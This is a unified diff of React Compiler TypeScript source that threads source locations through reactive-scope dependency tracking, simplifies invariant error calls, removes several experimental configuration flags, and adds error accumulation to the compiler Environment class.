||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: GeneratedSource,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
loc: GeneratedSource,
|
||||
});
|
||||
}
|
||||
return rootNode;
|
||||
@@ -115,12 +107,13 @@ export class ReactiveScopeDependencyTreeHIR {
|
||||
* safe-to-evaluate subpath
|
||||
*/
|
||||
addDependency(dep: ReactiveScopeDependency): void {
|
||||
const {identifier, reactive, path} = dep;
|
||||
const {identifier, reactive, path, loc} = dep;
|
||||
let depCursor = ReactiveScopeDependencyTreeHIR.#getOrCreateRoot(
|
||||
identifier,
|
||||
reactive,
|
||||
this.#deps,
|
||||
PropertyAccessType.UnconditionalAccess,
|
||||
loc,
|
||||
);
|
||||
/**
|
||||
* hoistableCursor is null if depCursor is not an object we can hoist
|
||||
@@ -166,6 +159,7 @@ export class ReactiveScopeDependencyTreeHIR {
|
||||
depCursor,
|
||||
entry.property,
|
||||
accessType,
|
||||
entry.loc,
|
||||
);
|
||||
} else if (
|
||||
hoistableCursor != null &&
|
||||
@@ -176,6 +170,7 @@ export class ReactiveScopeDependencyTreeHIR {
|
||||
depCursor,
|
||||
entry.property,
|
||||
PropertyAccessType.UnconditionalAccess,
|
||||
entry.loc,
|
||||
);
|
||||
} else {
|
||||
/**
|
||||
@@ -319,6 +314,7 @@ function merge(
|
||||
type TreeNode<T extends string> = {
|
||||
properties: Map<PropertyLiteral, TreeNode<T>>;
|
||||
accessType: T;
|
||||
loc: SourceLocation;
|
||||
};
|
||||
type HoistableNode = TreeNode<'Optional' | 'NonNull'>;
|
||||
type DependencyNode = TreeNode<PropertyAccessType>;
|
||||
@@ -336,7 +332,7 @@ function collectMinimalDependenciesInSubtree(
|
||||
results: Set<ReactiveScopeDependency>,
|
||||
): void {
|
||||
if (isDependency(node.accessType)) {
|
||||
results.add({identifier: rootIdentifier, reactive, path});
|
||||
results.add({identifier: rootIdentifier, reactive, path, loc: node.loc});
|
||||
} else {
|
||||
for (const [childName, childNode] of node.properties) {
|
||||
collectMinimalDependenciesInSubtree(
|
||||
@@ -348,6 +344,7 @@ function collectMinimalDependenciesInSubtree(
|
||||
{
|
||||
property: childName,
|
||||
optional: isOptional(childNode.accessType),
|
||||
loc: childNode.loc,
|
||||
},
|
||||
],
|
||||
results,
|
||||
@@ -375,12 +372,14 @@ function makeOrMergeProperty(
|
||||
node: DependencyNode,
|
||||
property: PropertyLiteral,
|
||||
accessType: PropertyAccessType,
|
||||
loc: SourceLocation,
|
||||
): DependencyNode {
|
||||
let child = node.properties.get(property);
|
||||
if (child == null) {
|
||||
child = {
|
||||
properties: new Map(),
|
||||
accessType,
|
||||
loc,
|
||||
};
|
||||
node.properties.set(property, child);
|
||||
} else {
|
||||
|
||||
@@ -7,7 +7,7 @@
|
||||
|
||||
import prettyFormat from 'pretty-format';
|
||||
import {CompilerError} from '../CompilerError';
|
||||
import {BlockId, HIRFunction} from './HIR';
|
||||
import {BlockId, GeneratedSource, HIRFunction} from './HIR';
|
||||
import {eachTerminalSuccessor} from './visitors';
|
||||
|
||||
/*
|
||||
@@ -88,15 +88,7 @@ export class Dominator<T> {
|
||||
const dominator = this.#nodes.get(id);
|
||||
CompilerError.invariant(dominator !== undefined, {
|
||||
reason: 'Unknown node',
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: null,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
suggestions: null,
|
||||
loc: GeneratedSource,
|
||||
});
|
||||
return dominator === id ? null : dominator;
|
||||
}
|
||||
@@ -135,15 +127,7 @@ export class PostDominator<T> {
|
||||
const dominator = this.#nodes.get(id);
|
||||
CompilerError.invariant(dominator !== undefined, {
|
||||
reason: 'Unknown node',
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: null,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
suggestions: null,
|
||||
loc: GeneratedSource,
|
||||
});
|
||||
return dominator === id ? null : dominator;
|
||||
}
|
||||
@@ -186,15 +170,7 @@ function computeImmediateDominators<T>(graph: Graph<T>): Map<T, T> {
|
||||
}
|
||||
CompilerError.invariant(newIdom !== null, {
|
||||
reason: `At least one predecessor must have been visited for block ${id}`,
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: null,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
suggestions: null,
|
||||
loc: GeneratedSource,
|
||||
});
|
||||
|
||||
for (const pred of node.preds) {
|
||||
|
||||
@@ -8,7 +8,12 @@
|
||||
import * as t from '@babel/types';
|
||||
import {ZodError, z} from 'zod/v4';
|
||||
import {fromZodError} from 'zod-validation-error/v4';
|
||||
import {CompilerError} from '../CompilerError';
|
||||
import {
|
||||
CompilerDiagnostic,
|
||||
CompilerError,
|
||||
CompilerErrorDetail,
|
||||
ErrorCategory,
|
||||
} from '../CompilerError';
|
||||
import {CompilerOutputMode, Logger, ProgramContext} from '../Entrypoint';
|
||||
import {Err, Ok, Result} from '../Utils/Result';
|
||||
import {
|
||||
@@ -24,6 +29,7 @@ import {
|
||||
BuiltInType,
|
||||
Effect,
|
||||
FunctionType,
|
||||
GeneratedSource,
|
||||
HIRFunction,
|
||||
IdentifierId,
|
||||
NonLocalBinding,
|
||||
@@ -53,14 +59,6 @@ import {FlowTypeEnv} from '../Flood/Types';
|
||||
import {defaultModuleTypeProvider} from './DefaultModuleTypeProvider';
|
||||
import {assertExhaustive} from '../Utils/utils';
|
||||
|
||||
export const ReactElementSymbolSchema = z.object({
|
||||
elementSymbol: z.union([
|
||||
z.literal('react.element'),
|
||||
z.literal('react.transitional.element'),
|
||||
]),
|
||||
globalDevVar: z.string(),
|
||||
});
|
||||
|
||||
export const ExternalFunctionSchema = z.object({
|
||||
// Source for the imported module that exports the `importSpecifierName` functions
|
||||
source: z.string(),
|
||||
@@ -81,8 +79,6 @@ export const InstrumentationSchema = z
|
||||
);
|
||||
|
||||
export type ExternalFunction = z.infer<typeof ExternalFunctionSchema>;
|
||||
export const USE_FIRE_FUNCTION_NAME = 'useFire';
|
||||
export const EMIT_FREEZE_GLOBAL_GATING = '__DEV__';
|
||||
|
||||
export const MacroSchema = z.string();
|
||||
|
||||
@@ -235,24 +231,9 @@ export const EnvironmentConfigSchema = z.object({
|
||||
.enum(['off', 'all', 'missing-only', 'extra-only'])
|
||||
.default('off'),
|
||||
|
||||
/**
|
||||
* When this is true, rather than pruning existing manual memoization but ensuring or validating
|
||||
* that the memoized values remain memoized, the compiler will simply not prune existing calls to
|
||||
* useMemo/useCallback.
|
||||
*/
|
||||
enablePreserveExistingManualUseMemo: z.boolean().default(false),
|
||||
|
||||
// 🌲
|
||||
enableForest: z.boolean().default(false),
|
||||
|
||||
/**
|
||||
* Enable use of type annotations in the source to drive type inference. By default
|
||||
* Forget attemps to infer types using only information that is guaranteed correct
|
||||
* given the source, and does not trust user-supplied type annotations. This mode
|
||||
* enables trusting user type annotations.
|
||||
*/
|
||||
enableUseTypeAnnotations: z.boolean().default(false),
|
||||
|
||||
/**
|
||||
* Allows specifying a function that can populate HIR with type information from
|
||||
* Flow
|
||||
@@ -267,53 +248,8 @@ export const EnvironmentConfigSchema = z.object({
|
||||
*/
|
||||
enableOptionalDependencies: z.boolean().default(true),
|
||||
|
||||
enableFire: z.boolean().default(false),
|
||||
|
||||
enableNameAnonymousFunctions: z.boolean().default(false),
|
||||
|
||||
/**
|
||||
* Enables inference and auto-insertion of effect dependencies. Takes in an array of
|
||||
* configurable module and import pairs to allow for user-land experimentation. For example,
|
||||
* [
|
||||
* {
|
||||
* module: 'react',
|
||||
* imported: 'useEffect',
|
||||
* autodepsIndex: 1,
|
||||
* },{
|
||||
* module: 'MyExperimentalEffectHooks',
|
||||
* imported: 'useExperimentalEffect',
|
||||
* autodepsIndex: 2,
|
||||
* },
|
||||
* ]
|
||||
* would insert dependencies for calls of `useEffect` imported from `react` and calls of
|
||||
* useExperimentalEffect` from `MyExperimentalEffectHooks`.
|
||||
*
|
||||
* `autodepsIndex` tells the compiler which index we expect the AUTODEPS to appear in.
|
||||
* With the configuration above, we'd insert dependencies for `useEffect` if it has two
|
||||
* arguments, and the second is AUTODEPS.
|
||||
*
|
||||
* Still experimental.
|
||||
*/
|
||||
inferEffectDependencies: z
|
||||
.nullable(
|
||||
z.array(
|
||||
z.object({
|
||||
function: ExternalFunctionSchema,
|
||||
autodepsIndex: z.number().min(1, 'autodepsIndex must be > 0'),
|
||||
}),
|
||||
),
|
||||
)
|
||||
.default(null),
|
||||
|
||||
/**
|
||||
* Enables inlining ReactElement object literals in place of JSX
|
||||
* An alternative to the standard JSX transform which replaces JSX with React's jsxProd() runtime
|
||||
* Currently a prod-only optimization, requiring Fast JSX dependencies
|
||||
*
|
||||
* The symbol configuration is set for backwards compatability with pre-React 19 transforms
|
||||
*/
|
||||
inlineJsxTransform: ReactElementSymbolSchema.nullable().default(null),
|
||||
|
||||
/*
|
||||
* Enable validation of hooks to partially check that the component honors the rules of hooks.
|
||||
* When disabled, the component is assumed to follow the rules (though the Babel plugin looks
|
||||
@@ -365,16 +301,6 @@ export const EnvironmentConfigSchema = z.object({
|
||||
*/
|
||||
validateStaticComponents: z.boolean().default(false),
|
||||
|
||||
/**
|
||||
* Validates that the dependencies of all effect hooks are memoized. This helps ensure
|
||||
* that Forget does not introduce infinite renders caused by a dependency changing,
|
||||
* triggering an effect, which triggers re-rendering, which causes a dependency to change,
|
||||
* triggering the effect, etc.
|
||||
*
|
||||
* Covers useEffect, useLayoutEffect, useInsertionEffect.
|
||||
*/
|
||||
validateMemoizedEffectDependencies: z.boolean().default(false),
|
||||
|
||||
/**
|
||||
* Validates that there are no capitalized calls other than those allowed by the allowlist.
|
||||
* Calls to capitalized functions are often functions that used to be components and may
|
||||
@@ -421,38 +347,8 @@ export const EnvironmentConfigSchema = z.object({
|
||||
* then this flag will assume that `x` is not subusequently modified.
|
||||
*/
|
||||
enableTransitivelyFreezeFunctionExpressions: z.boolean().default(true),
|
||||
|
||||
/*
|
||||
* Enables codegen mutability debugging. This emits a dev-mode only to log mutations
|
||||
* to values that Forget assumes are immutable (for Forget compiled code).
|
||||
* For example:
|
||||
* emitFreeze: {
|
||||
* source: 'ReactForgetRuntime',
|
||||
* importSpecifierName: 'makeReadOnly',
|
||||
* }
|
||||
*
|
||||
* produces:
|
||||
* import {makeReadOnly} from 'ReactForgetRuntime';
|
||||
*
|
||||
* function Component(props) {
|
||||
* if (c_0) {
|
||||
* // ...
|
||||
* $[0] = __DEV__ ? makeReadOnly(x) : x;
|
||||
* } else {
|
||||
* x = $[0];
|
||||
* }
|
||||
* }
|
||||
*/
|
||||
enableEmitFreeze: ExternalFunctionSchema.nullable().default(null),
|
||||
|
||||
enableEmitHookGuards: ExternalFunctionSchema.nullable().default(null),
|
||||
|
||||
/**
|
||||
* Enable instruction reordering. See InstructionReordering.ts for the details
|
||||
* of the approach.
|
||||
*/
|
||||
enableInstructionReordering: z.boolean().default(false),
|
||||
|
||||
/**
|
||||
* Enables function outlinining, where anonymous functions that do not close over
|
||||
* local variables can be extracted into top-level helper functions.
|
||||
@@ -534,80 +430,12 @@ export const EnvironmentConfigSchema = z.object({
|
||||
// Enable validation of mutable ranges
|
||||
assertValidMutableRanges: z.boolean().default(false),
|
||||
|
||||
/*
|
||||
* Enable emitting "change variables" which store the result of whether a particular
|
||||
* reactive scope dependency has changed since the scope was last executed.
|
||||
*
|
||||
* Ex:
|
||||
* ```
|
||||
* const c_0 = $[0] !== input; // change variable
|
||||
* let output;
|
||||
* if (c_0) ...
|
||||
* ```
|
||||
*
|
||||
* Defaults to false, where the comparison is inlined:
|
||||
*
|
||||
* ```
|
||||
* let output;
|
||||
* if ($[0] !== input) ...
|
||||
* ```
|
||||
*/
|
||||
enableChangeVariableCodegen: z.boolean().default(false),
|
||||
|
||||
/**
|
||||
* Enable emitting comments that explain Forget's output, and which
|
||||
* values are being checked and which values produced by each memo block.
|
||||
*
|
||||
* Intended for use in demo purposes (incl playground)
|
||||
*/
|
||||
enableMemoizationComments: z.boolean().default(false),
|
||||
|
||||
/**
|
||||
* [TESTING ONLY] Throw an unknown exception during compilation to
|
||||
* simulate unexpected exceptions e.g. errors from babel functions.
|
||||
*/
|
||||
throwUnknownException__testonly: z.boolean().default(false),
|
||||
|
||||
/**
|
||||
* Enables deps of a function epxression to be treated as conditional. This
|
||||
* makes sure we don't load a dep when it's a property (to check if it has
|
||||
* changed) and instead check the receiver.
|
||||
*
|
||||
* This makes sure we don't end up throwing when the reciver is null. Consider
|
||||
* this code:
|
||||
*
|
||||
* ```
|
||||
* function getLength() {
|
||||
* return props.bar.length;
|
||||
* }
|
||||
* ```
|
||||
*
|
||||
* It's only safe to memoize `getLength` against props, not props.bar, as
|
||||
* props.bar could be null when this `getLength` function is created.
|
||||
*
|
||||
* This does cause the memoization to now be coarse grained, which is
|
||||
* non-ideal.
|
||||
*/
|
||||
enableTreatFunctionDepsAsConditional: z.boolean().default(false),
|
||||
|
||||
/**
|
||||
* When true, always act as though the dependencies of a memoized value
|
||||
* have changed. This makes the compiler not actually perform any optimizations,
|
||||
* but is useful for debugging. Implicitly also sets
|
||||
* @enablePreserveExistingManualUseMemo, because otherwise memoization in the
|
||||
* original source will be disabled as well.
|
||||
*/
|
||||
disableMemoizationForDebugging: z.boolean().default(false),
|
||||
|
||||
/**
|
||||
* When true, rather using memoized values, the compiler will always re-compute
|
||||
* values, and then use a heuristic to compare the memoized value to the newly
|
||||
* computed one. This detects cases where rules of react violations may cause the
|
||||
* compiled code to behave differently than the original.
|
||||
*/
|
||||
enableChangeDetectionForDebugging:
|
||||
ExternalFunctionSchema.nullable().default(null),
|
||||
|
||||
/**
|
||||
* The react native re-animated library uses custom Babel transforms that
|
||||
* requires the calls to library API remain unmodified.
|
||||
@@ -618,19 +446,6 @@ export const EnvironmentConfigSchema = z.object({
|
||||
*/
|
||||
enableCustomTypeDefinitionForReanimated: z.boolean().default(false),
|
||||
|
||||
/**
|
||||
* If specified, this value is used as a pattern for determing which global values should be
|
||||
* treated as hooks. The pattern should have a single capture group, which will be used as
|
||||
* the hook name for the purposes of resolving hook definitions (for builtin hooks)_.
|
||||
*
|
||||
* For example, by default `React$useState` would not be treated as a hook. By specifying
|
||||
* `hookPattern: 'React$(\w+)'`, the compiler will treat this value equivalently to `useState()`.
|
||||
*
|
||||
* This setting is intended for cases where Forget is compiling code that has been prebundled
|
||||
* and identifiers have been changed.
|
||||
*/
|
||||
hookPattern: z.string().nullable().default(null),
|
||||
|
||||
/**
|
||||
* If enabled, this will treat objects named as `ref` or if their names end with the substring `Ref`,
|
||||
* and contain a property named `current`, as React refs.
|
||||
@@ -655,28 +470,6 @@ export const EnvironmentConfigSchema = z.object({
|
||||
*/
|
||||
enableTreatSetIdentifiersAsStateSetters: z.boolean().default(false),
|
||||
|
||||
/*
|
||||
* If specified a value, the compiler lowers any calls to `useContext` to use
|
||||
* this value as the callee.
|
||||
*
|
||||
* A selector function is compiled and passed as an argument along with the
|
||||
* context to this function call.
|
||||
*
|
||||
* The compiler automatically figures out the keys by looking for the immediate
|
||||
* destructuring of the return value from the useContext call. In the future,
|
||||
* this can be extended to different kinds of context access like property
|
||||
* loads and accesses over multiple statements as well.
|
||||
*
|
||||
* ```
|
||||
* // input
|
||||
* const {foo, bar} = useContext(MyContext);
|
||||
*
|
||||
* // output
|
||||
* const {foo, bar} = useCompiledContext(MyContext, (c) => [c.foo, c.bar]);
|
||||
* ```
|
||||
*/
|
||||
lowerContextAccess: ExternalFunctionSchema.nullable().default(null),
|
||||
|
||||
/**
|
||||
* If enabled, will validate useMemos that don't return any values:
|
||||
*
|
||||
@@ -688,13 +481,6 @@ export const EnvironmentConfigSchema = z.object({
|
||||
*/
|
||||
validateNoVoidUseMemo: z.boolean().default(true),
|
||||
|
||||
/**
|
||||
* Validates that Components/Hooks are always defined at module level. This prevents scope
|
||||
* reference errors that occur when the compiler attempts to optimize the nested component/hook
|
||||
* while its parent function remains uncompiled.
|
||||
*/
|
||||
validateNoDynamicallyCreatedComponentsOrHooks: z.boolean().default(false),
|
||||
|
||||
/**
|
||||
* When enabled, allows setState calls in effects based on valid patterns involving refs:
|
||||
* - Allow setState where the value being set is derived from a ref. This is useful where
|
||||
@@ -716,15 +502,6 @@ export const EnvironmentConfigSchema = z.object({
|
||||
* 3. Force update / external sync - should use useSyncExternalStore
|
||||
*/
|
||||
enableVerboseNoSetStateInEffect: z.boolean().default(false),
|
||||
|
||||
/**
|
||||
* Enables inference of event handler types for JSX props on built-in DOM elements.
|
||||
* When enabled, functions passed to event handler props (props starting with "on")
|
||||
* on primitive JSX tags are inferred to have the BuiltinEventHandlerId type, which
|
||||
* allows ref access within those functions since DOM event handlers are guaranteed
|
||||
* by React to only execute in response to events, not during render.
|
||||
*/
|
||||
enableInferEventHandlers: z.boolean().default(false),
|
||||
});
|
||||
|
||||
export type EnvironmentConfig = z.infer<typeof EnvironmentConfigSchema>;
|
||||
@@ -766,9 +543,6 @@ export class Environment {
|
||||
fnType: ReactFunctionType;
|
||||
outputMode: CompilerOutputMode;
|
||||
programContext: ProgramContext;
|
||||
hasFireRewrite: boolean;
|
||||
hasInferredEffect: boolean;
|
||||
inferredEffectLocations: Set<SourceLocation> = new Set();
|
||||
|
||||
#contextIdentifiers: Set<t.Identifier>;
|
||||
#hoistedIdentifiers: Set<t.Identifier>;
|
||||
@@ -776,6 +550,12 @@ export class Environment {
|
||||
|
||||
#flowTypeEnvironment: FlowTypeEnv | null;
|
||||
|
||||
/**
|
||||
* Accumulated compilation errors. Passes record errors here instead of
|
||||
* throwing, so the pipeline can continue and report all errors at once.
|
||||
*/
|
||||
#errors: CompilerError = new CompilerError();
|
||||
|
||||
constructor(
|
||||
scope: BabelScope,
|
||||
fnType: ReactFunctionType,
|
||||
@@ -798,33 +578,11 @@ export class Environment {
|
||||
this.programContext = programContext;
|
||||
this.#shapes = new Map(DEFAULT_SHAPES);
|
||||
this.#globals = new Map(DEFAULT_GLOBALS);
|
||||
this.hasFireRewrite = false;
|
||||
this.hasInferredEffect = false;
|
||||
|
||||
if (
|
||||
config.disableMemoizationForDebugging &&
|
||||
config.enableChangeDetectionForDebugging != null
|
||||
) {
|
||||
CompilerError.throwInvalidConfig({
|
||||
reason: `Invalid environment config: the 'disableMemoizationForDebugging' and 'enableChangeDetectionForDebugging' options cannot be used together`,
|
||||
description: null,
|
||||
loc: null,
|
||||
suggestions: null,
|
||||
});
|
||||
}
|
||||
|
||||
for (const [hookName, hook] of this.config.customHooks) {
|
||||
CompilerError.invariant(!this.#globals.has(hookName), {
|
||||
reason: `[Globals] Found existing definition in global registry for custom hook ${hookName}`,
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: null,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
suggestions: null,
|
||||
loc: GeneratedSource,
|
||||
});
|
||||
this.#globals.set(
|
||||
hookName,
|
||||
@@ -856,14 +614,7 @@ export class Environment {
|
||||
CompilerError.invariant(code != null, {
|
||||
reason:
|
||||
'Expected Environment to be initialized with source code when a Flow type provider is specified',
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: null,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
loc: GeneratedSource,
|
||||
});
|
||||
this.#flowTypeEnvironment.init(this, code);
|
||||
} else {
|
||||
@@ -874,14 +625,7 @@ export class Environment {
|
||||
get typeContext(): FlowTypeEnv {
|
||||
CompilerError.invariant(this.#flowTypeEnvironment != null, {
|
||||
reason: 'Flow type environment not initialized',
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: null,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
loc: GeneratedSource,
|
||||
});
|
||||
return this.#flowTypeEnvironment;
|
||||
}
|
||||
@@ -896,9 +640,6 @@ export class Environment {
|
||||
case 'ssr': {
|
||||
return true;
|
||||
}
|
||||
case 'client-no-memo': {
|
||||
return false;
|
||||
}
|
||||
default: {
|
||||
assertExhaustive(
|
||||
this.outputMode,
|
||||
@@ -915,8 +656,7 @@ export class Environment {
|
||||
// linting also enables memoization so that we can check if manual memoization is preserved
|
||||
return true;
|
||||
}
|
||||
case 'ssr':
|
||||
case 'client-no-memo': {
|
||||
case 'ssr': {
|
||||
return false;
|
||||
}
|
||||
default: {
|
||||
@@ -935,9 +675,6 @@ export class Environment {
|
||||
case 'ssr': {
|
||||
return true;
|
||||
}
|
||||
case 'client-no-memo': {
|
||||
return false;
|
||||
}
|
||||
default: {
|
||||
assertExhaustive(
|
||||
this.outputMode,
|
||||
@@ -976,6 +713,52 @@ export class Environment {
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Record a single diagnostic or error detail on this environment.
|
||||
* If the error is an Invariant, it is immediately thrown since invariants
|
||||
* represent internal bugs that cannot be recovered from.
|
||||
* Otherwise, the error is accumulated and optionally logged.
|
||||
*/
|
||||
recordError(error: CompilerDiagnostic | CompilerErrorDetail): void {
|
||||
if (error.category === ErrorCategory.Invariant) {
|
||||
const compilerError = new CompilerError();
|
||||
if (error instanceof CompilerDiagnostic) {
|
||||
compilerError.pushDiagnostic(error);
|
||||
} else {
|
||||
compilerError.pushErrorDetail(error);
|
||||
}
|
||||
throw compilerError;
|
||||
}
|
||||
if (error instanceof CompilerDiagnostic) {
|
||||
this.#errors.pushDiagnostic(error);
|
||||
} else {
|
||||
this.#errors.pushErrorDetail(error);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Record all diagnostics from a CompilerError onto this environment.
|
||||
*/
|
||||
recordErrors(error: CompilerError): void {
|
||||
for (const detail of error.details) {
|
||||
this.recordError(detail);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Returns true if any errors have been recorded during compilation.
|
||||
*/
|
||||
hasErrors(): boolean {
|
||||
return this.#errors.hasAnyErrors();
|
||||
}
|
||||
|
||||
/**
|
||||
* Returns the accumulated CompilerError containing all recorded diagnostics.
|
||||
*/
|
||||
aggregateErrors(): CompilerError {
|
||||
return this.#errors;
|
||||
}
|
||||
|
||||
isContextIdentifier(node: t.Identifier): boolean {
|
||||
return this.#contextIdentifiers.has(node);
|
||||
}
|
||||
@@ -1050,18 +833,6 @@ export class Environment {
|
||||
binding: NonLocalBinding,
|
||||
loc: SourceLocation,
|
||||
): Global | null {
|
||||
if (this.config.hookPattern != null) {
|
||||
const match = new RegExp(this.config.hookPattern).exec(binding.name);
|
||||
if (
|
||||
match != null &&
|
||||
typeof match[1] === 'string' &&
|
||||
isHookName(match[1])
|
||||
) {
|
||||
const resolvedName = match[1];
|
||||
return this.#globals.get(resolvedName) ?? this.#getCustomHookType();
|
||||
}
|
||||
}
|
||||
|
||||
switch (binding.kind) {
|
||||
case 'ModuleLocal': {
|
||||
// don't resolve module locals
|
||||
@@ -1193,15 +964,7 @@ export class Environment {
|
||||
|
||||
CompilerError.invariant(shape !== undefined, {
|
||||
reason: `[HIR] Forget internal error: cannot resolve shape ${shapeId}`,
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: null,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
suggestions: null,
|
||||
loc: GeneratedSource,
|
||||
});
|
||||
return shape.properties.get('*') ?? null;
|
||||
}
|
||||
@@ -1224,15 +987,7 @@ export class Environment {
|
||||
const shape = this.#shapes.get(shapeId);
|
||||
CompilerError.invariant(shape !== undefined, {
|
||||
reason: `[HIR] Forget internal error: cannot resolve shape ${shapeId}`,
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: null,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
suggestions: null,
|
||||
loc: GeneratedSource,
|
||||
});
|
||||
if (typeof property === 'string') {
|
||||
return (
|
||||
@@ -1255,15 +1010,7 @@ export class Environment {
|
||||
const shape = this.#shapes.get(shapeId);
|
||||
CompilerError.invariant(shape !== undefined, {
|
||||
reason: `[HIR] Forget internal error: cannot resolve shape ${shapeId}`,
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: null,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
suggestions: null,
|
||||
loc: GeneratedSource,
|
||||
});
|
||||
return shape.functionType;
|
||||
}
|
||||
|
||||
@@ -183,29 +183,13 @@ function handleAssignment(
|
||||
const valuePath = property.get('value');
|
||||
CompilerError.invariant(valuePath.isLVal(), {
|
||||
reason: `[FindContextIdentifiers] Expected object property value to be an LVal, got: ${valuePath.type}`,
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: valuePath.node.loc ?? GeneratedSource,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
suggestions: null,
|
||||
loc: valuePath.node.loc ?? GeneratedSource,
|
||||
});
|
||||
handleAssignment(currentFn, identifiers, valuePath);
|
||||
} else {
|
||||
CompilerError.invariant(property.isRestElement(), {
|
||||
reason: `[FindContextIdentifiers] Invalid assumptions for babel types.`,
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: property.node.loc ?? GeneratedSource,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
suggestions: null,
|
||||
loc: property.node.loc ?? GeneratedSource,
|
||||
});
|
||||
handleAssignment(currentFn, identifiers, property);
|
||||
}
|
||||
|
||||
@@ -9,9 +9,6 @@ import {Effect, ValueKind, ValueReason} from './HIR';
|
||||
import {
|
||||
BUILTIN_SHAPES,
|
||||
BuiltInArrayId,
|
||||
BuiltInAutodepsId,
|
||||
BuiltInFireFunctionId,
|
||||
BuiltInFireId,
|
||||
BuiltInMapId,
|
||||
BuiltInMixedReadonlyId,
|
||||
BuiltInObjectId,
|
||||
@@ -846,26 +843,6 @@ const REACT_APIS: Array<[string, BuiltInType]> = [
|
||||
BuiltInUseOperatorId,
|
||||
),
|
||||
],
|
||||
[
|
||||
'fire',
|
||||
addFunction(
|
||||
DEFAULT_SHAPES,
|
||||
[],
|
||||
{
|
||||
positionalParams: [],
|
||||
restParam: null,
|
||||
returnType: {
|
||||
kind: 'Function',
|
||||
return: {kind: 'Poly'},
|
||||
shapeId: BuiltInFireFunctionId,
|
||||
isConstructor: false,
|
||||
},
|
||||
calleeEffect: Effect.Read,
|
||||
returnValueKind: ValueKind.Frozen,
|
||||
},
|
||||
BuiltInFireId,
|
||||
),
|
||||
],
|
||||
[
|
||||
'useEffectEvent',
|
||||
addHook(
|
||||
@@ -887,7 +864,6 @@ const REACT_APIS: Array<[string, BuiltInType]> = [
|
||||
BuiltInUseEffectEventId,
|
||||
),
|
||||
],
|
||||
['AUTODEPS', addObject(DEFAULT_SHAPES, BuiltInAutodepsId, [])],
|
||||
];
|
||||
|
||||
TYPED_GLOBALS.push(
|
||||
|
||||
@@ -612,7 +612,7 @@ export type TryTerminal = {
|
||||
export type MaybeThrowTerminal = {
|
||||
kind: 'maybe-throw';
|
||||
continuation: BlockId;
|
||||
handler: BlockId;
|
||||
handler: BlockId | null;
|
||||
id: InstructionId;
|
||||
loc: SourceLocation;
|
||||
fallthrough?: never;
|
||||
@@ -826,6 +826,7 @@ export type StartMemoize = {
|
||||
* emitting diagnostics with a suggested replacement
|
||||
*/
|
||||
depsLoc: SourceLocation | null;
|
||||
hasInvalidDeps?: true;
|
||||
loc: SourceLocation;
|
||||
};
|
||||
export type FinishMemoize = {
|
||||
@@ -1373,14 +1374,7 @@ export function promoteTemporary(identifier: Identifier): void {
|
||||
CompilerError.invariant(identifier.name === null, {
|
||||
reason: `Expected a temporary (unnamed) identifier`,
|
||||
description: `Identifier already has a name, \`${identifier.name}\``,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: GeneratedSource,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
suggestions: null,
|
||||
loc: GeneratedSource,
|
||||
});
|
||||
identifier.name = {
|
||||
kind: 'promoted',
|
||||
@@ -1403,14 +1397,7 @@ export function promoteTemporaryJsxTag(identifier: Identifier): void {
|
||||
CompilerError.invariant(identifier.name === null, {
|
||||
reason: `Expected a temporary (unnamed) identifier`,
|
||||
description: `Identifier already has a name, \`${identifier.name}\``,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: GeneratedSource,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
suggestions: null,
|
||||
loc: GeneratedSource,
|
||||
});
|
||||
identifier.name = {
|
||||
kind: 'promoted',
|
||||
@@ -1576,15 +1563,7 @@ export function isMutableEffect(
|
||||
case Effect.Unknown: {
|
||||
CompilerError.invariant(false, {
|
||||
reason: 'Unexpected unknown effect',
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: location,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
suggestions: null,
|
||||
loc: location,
|
||||
});
|
||||
}
|
||||
case Effect.Read:
|
||||
@@ -1661,6 +1640,7 @@ export function makePropertyLiteral(value: string | number): PropertyLiteral {
|
||||
export type DependencyPathEntry = {
|
||||
property: PropertyLiteral;
|
||||
optional: boolean;
|
||||
loc: SourceLocation;
|
||||
};
|
||||
export type DependencyPath = Array<DependencyPathEntry>;
|
||||
export type ReactiveScopeDependency = {
|
||||
@@ -1678,6 +1658,7 @@ export type ReactiveScopeDependency = {
|
||||
*/
|
||||
reactive: boolean;
|
||||
path: DependencyPath;
|
||||
loc: SourceLocation;
|
||||
};
|
||||
|
||||
export function areEqualPaths(a: DependencyPath, b: DependencyPath): boolean {
|
||||
